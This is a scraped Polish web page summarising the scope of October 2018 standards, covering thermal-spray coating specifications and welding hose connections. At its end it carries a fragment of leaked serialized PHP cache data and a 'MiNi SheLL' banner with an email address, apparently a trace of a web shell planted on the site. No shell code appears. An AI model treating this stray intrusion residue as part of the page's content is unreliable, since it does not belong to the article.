	Natryskiwanie cieplne -- Części z powłokami natryskiwanymi cieplnie -- Specyfikacja powłoki</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania, jakie należy podać w specyfikacji powłoki natryskiwanej cieplnie. Ma ona zastosowanie do części i przedmiotów obrabianych wykonanych z materiałów niemetalowych, które częściowo lub całkowicie pokryto powłokami natryskiwanymi cieplnie. Powłoki takie mogą być wykonane z metali, ceramiki metalowej, ceramiki tlenkowej lub tworzyw sztucznych. Dodatkowe wymagania nie związane z powłoką, a stawiane wytwórcy powłoki, należy zamieścić w specyfikacji powłoki określając warunki techniczne dostawy zgodnie z EN ISO 12670.</p>
<p>
	Wymagania określone w niniejszej normie powinna również spełniać sporządzona przez wytwórcę powłoki specyfikacja procedury natryskiwania cieplnego (TSPS) powiązana z daną częścią. W celu zapewnienia identyfikowalności specyfikację procedury natryskiwania cieplnego należy dokumentować i powiązać z daną częścią. Szczegóły, patrz EN 17002.</p>
<p>
	Spełnienie wymagań specyfikacji powłoki przy zastosowaniu specyfikacji procedury natryskiwania cieplnego można udowodnić przez wykonanie kwalifikacji procedury powiązanej z daną częścią zgodnie z EN 15648.</p>
<p>
	Jeżeli klient nie jest w stanie określić szczegółowych wymagań dla powłoki, to należy je uzgodnić z kontrahentem w oparciu o wymagania stawiane powłokom natryskiwanym – np. zużycie cierne w wysokich temperaturach – oraz w oparciu o dotychczasowe doświadczenie kontrahenta.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 560:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>31-10-2018</p>
<p>
	Sprzęt do spawania gazowego -- Przyłącza węży dla sprzętu do spawania, cięcia i procesów pokrewnych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie podano wymiary i określono charakterystyki części składowych przyłączy węży do spawania, cięcia i procesów pokrewnych, na przykład dla regulatorów ciśnienia zgodnych z EN ISO 2503 i palników gazowych. Przydatność przyłączy węży wymienionych poniżej będzie rozpatrywana zależnie od zastosowanego zakresu ciśnień. Niniejszy dokument nie obejmuje konstrukcji części przyłącza włożonej do węża. To jest określone w EN 1256.</p>
<p>
	 </p>
<p>
	 </p>
<p>
	 </p>
<hr />
<p style="text-align:right;">
	Zestawienie zostało opracowane przez Redakcję Narzedziownia.org<br />
	na podstawie ogólnodostępnych informacji publikowanych przez PKN</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                            <a href="http://www.pkn.pl" target="_blank">
                                                    
                            Polski Komitet Normalizacyjny                                                        
                                                            </a>
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polski+Komitet+Normalizacyjny" class="label label-default">Polski Komitet Normalizacyjny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polskie+Normy" class="label label-default">Polskie Normy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zestawienie" class="label label-default">zestawienie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=październik+2018" class="label label-default">październik 2018</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+narzędziowa" class="label label-default">branża narzędziowa</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.narzedziownia.org/artykuly/szczegoly/9890_polskie-normy-dotyczace-branzy-narzedziowej-pazdziernik-2018" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:12:"article_9890";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"7ea1b43f86e011c0de8f00c4d9354721";s:21:"0.39871400 1746297964";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com